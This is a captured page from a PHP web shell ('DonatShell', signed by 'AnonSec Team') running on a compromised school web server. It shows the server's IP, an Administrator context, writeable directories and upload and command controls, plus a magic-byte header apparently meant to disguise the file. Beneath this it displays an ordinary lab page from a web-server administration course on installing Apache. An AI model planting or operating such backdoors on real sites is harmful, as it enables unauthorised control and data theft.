GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1146/Labs/Lab01/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1146/Labs/Lab01/Lab01.phpinc
<?
// JimMartinson/CST1146/Labs/Lab01/Lab01.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
$disabled = '';
$disabled = ' disabled'; // Comment this line to enable lab.

// NOTE: Disable Include conf/extra/httpd-autoindex.conf line in the httpd.conf file before labs.
// OR: Fix labs so Lab 4 mod_autoindex works as it should.
?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend>
The purpose of this lab is to install Apache web server.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend>
<ol class="count">
	<li>
		If you have not done so, perform:
		<ol>
			<li><a href="../../../Setup/ClassSetup/?dataFolder=Data_WWW&courseNumber=CST1146&courseTitle=Web Server Administration" target="_blank">Class Setup</a> then refresh this page.</li>
			<li><a href="../../../Setup/WebServices/?dataFolder=Data_WWW&courseNumber=CST1146&courseTitle=Web Server Administration" target="_blank">WebServices Installation</a>.</li>
			<li><a href="../../../Setup/Apache/?dataFolder=Data_WWW&courseNumber=CST1146&courseTitle=Web Server Administration" target="_blank">Apache Installation</a> (all three parts).</li>
		</ol>
	</li>
	<li>
		Create a directory called <b class="copyText"><?=$courseNumber?></b> in your <b><?=$dataFolder?></b> directory.
	</li>
	<li>
		Create a directory called <b class="copyText"><?=$evaluationName?></b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory. We will use it for all work performed in this lab.
	</li>
	<li>Verify your Apache installation.
		<ol>
			<li>Run <b>WebServices.bat</b> and start Apache.</li>
			<li>Open your browser.</li>
			<li>Enter <b>localhost</b> in the address bar.</li>
			<li>Hit <b>enter</b> to load the site. You should see something like this:
				<? include('common/Browser/Browser.phpinc'); BrowserBegin('Index of /','http://localhost/',480);?>
<!--				<img src="CST1146-Lab01-Browser-JimMartinson.png" width="448" height="170" alt=""/>-->
				<h1 class="left"> &nbsp;Index of /</h1>
				&nbsp; &nbsp; <img src="dot.png"> <span style="text-decoration: underline" class="link">CST1146/</span>
				<br><br>
				<?
		BrowserEnd();?>
			</li>
			<li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
				<br>Make sure that the address bar is visible in your browser before saving the image.
				<br>Note that all screenshots for this class must be saved in <a href="http://www.libpng.org/pub/png/">Portable Network Graphics</a> (.png) format.
				<br>Screenshots must also be limited to what was requested. Do not submit entire screens as screenshots unless requested.
			</li>
		</ol>
	</li>
	<li>Turn in your assignment:
		<ol>
			<li>Copy your <b>hosts</b> (C:\Windows\system32\drivers\etc\hosts) file into your <b><?=$evaluationName?></b> folder.</li>
			<li>Copy your <b>httpd.conf</b> (C:\Apache24\conf\httpd.conf) file into your <b><?=$evaluationName?></b> folder.</li>
			<li>Ensure the following files are in your <b><?=$evaluationName?></b> folder.
				<br><?=$saveFilename?>.png
				<br>hosts
				<br>httpd.conf
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
	</li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
?>

Anon7 - 2022
AnonSec Team